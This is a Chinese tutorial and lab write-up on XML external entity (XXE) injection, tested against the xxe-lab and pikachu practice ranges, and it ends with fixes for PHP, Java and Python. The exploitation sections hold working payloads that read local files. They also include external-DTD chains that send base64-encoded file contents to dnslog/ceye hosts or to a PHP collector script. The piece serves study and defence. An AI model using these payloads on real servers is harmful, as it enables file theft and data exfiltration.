web漏洞-xml外部实体注入(XXE)
目录
- web漏洞-xml外部实体注入(XXE)
- 概念
- 危害
- 检测方法
- 利用方法
- 漏洞利用
- xxe-lab
- 有回显情况
- 无回显情况
- pikachu靶场
- 有回显内容
- 无回显
- 修复方案
概念
xml可拓展标记语言:
xml是一种可拓展的标记语言,可以用来存储数据,例如:我们经常看到一些.xml的文件;它还可以用来传输数据,我们可以直接将数据以xml的格式放在请求当中,发给服务器。
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
XXE外部实体注入:
XXE漏洞全称XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
XML和HTML的区别:
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
第一部分:XML声明部分
<?xml version="1.0"?>
第二部分:文档类型定义 DTD
<!DOCTYPE note[
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]]]>
第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部。
DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
DTD实体
(1)内部实体声明
<!ENTITY 实体名称 ”实体的值”>
(2)外部实体声明
<!ENTITY 实体名称 SYSTEM ”URI”>
(3)参数实体声明
<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>
危害
可造成文件读取
RCE执行
内网攻击
DOS攻击
…
检测方法
白盒:
1、观察函数以及可控变量的查找
2、观察传输和存储数据格式的类型
黑盒:
1、人工检测
(1)对数据格式类型进行判断
(2)content-type值判断
如:Content-Type:text/xml
或Content-type:application/xml
(3)更改content-type值观察返回信息
2、工具
利用方法
1、输出形式
(1)有回显
协议、外部引用
(2)无回显
外部引用-反向链接配合
无回显的XXE漏洞如何探测
(1)利用公网服务器,查看日志记录
(2)利用DNSLOG,查看访问记录
(3)利用CEYE.io带出数据进行查看
2、绕过过滤
(1)协议利用
(2)外部引用
(3)编码绕过
漏洞利用
xxe-lab
靶场搭建项目地址
搭建完成,打开进入环境:
有回显情况
尝试登录,随便输入用户和密码,进行抓包分析数据
发现请求头Content-type:application/xml
观察请求数据当中的格式包含XML格式
直接构造payload进行文件读取:
payload:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY root SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&root;</username><password>root</password></user>
成功读取:
界面效果:
可以使用其他支持的协议进行读取
file:/// #file协议读取文件
http://url/file.txt #http协议读取站点下的文件
php://filter #文件流形式读取php文件
以base64编码的方式读取:
解码还原:
无回显情况
将输出的回显代码进行注释:
使用dnslog外带测试:
payload:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://psyz46.dnslog.cn">
%file;
]>
<user><username>root</username><password>root</password></user>
内容出现报错信息,回看dnslog处是否有回显:
dnslog处回显信息:
也可以使用ceye.io进行外带
payload:
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "http://vbdpkn.ceye.io">
%file;
]>
<user><username>root</username><password>root</password></user>
查看结果:
构造payload进行读取文件:
hack.dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c://windows//win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vbdpkn.ceye.io?p=%file;'>">
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/hack.dtd">
%remote;%int;%send;%file;
]>
成功带出数据:
进行解密:
方法二:
以生成文件的方式,进行读取
首先写一个生成并写入文件的脚本代码:
getfile.php放在用于接收数据的服务器上用于接受数据并保存为文件
<?php
$data=$_GET['file'];
$getfile=fopen("file.txt","w");
fwrite($getfile,$data);
fclose($getfile);
?>
hack.dtd用于将读取到得数据赋值给getfile.php
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ip/getfile.php?file=%file;'>">
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c://windows//win.ini">
<!ENTITY % remote SYSTEM "http://127.0.0.1/hack.dtd">
%remote;
%all;
]>
<root>&send;</root>
ps:
在进行文件读取的时候,有些文件中带有空格,在将数据赋值给getfile.php文件时,get方法传参会将数据错误识别,不能正常外带出来数据信息内容,这时可以协议进行操作,可使用php://filter协议,使用base64编码以数据流得形式读取文件。
点击执行过后,在网站的根目录下,成功生成file.txt文件
查看文件的内容,为base64编码,解码即可:
解码后:
pikachu靶场
进入环境,测试回显:
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "rumilc" > ]>
<a>&xxe;</a>
有回显内容
读取文件:
payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]><a>&xxe;</a>
无回显
无回显方式的理由和xxe-lab利用方式基本相同。
dnslog回显测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://vbdpkn.ceye.io">
%file;
]>
通过外部实体注入test.dtd
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c://windows//win.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vbdpkn.ceye.io/?p=%file;'>">
//% %的实体编码
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://127.0.0.1/hack.dtd">
%remote;%int;%send;%file;
]>
成功带了出来:
base64解密即可。
修复方案
#xxe漏洞修复与防御方案-php,java,python-过滤及禁用
#方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
#方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC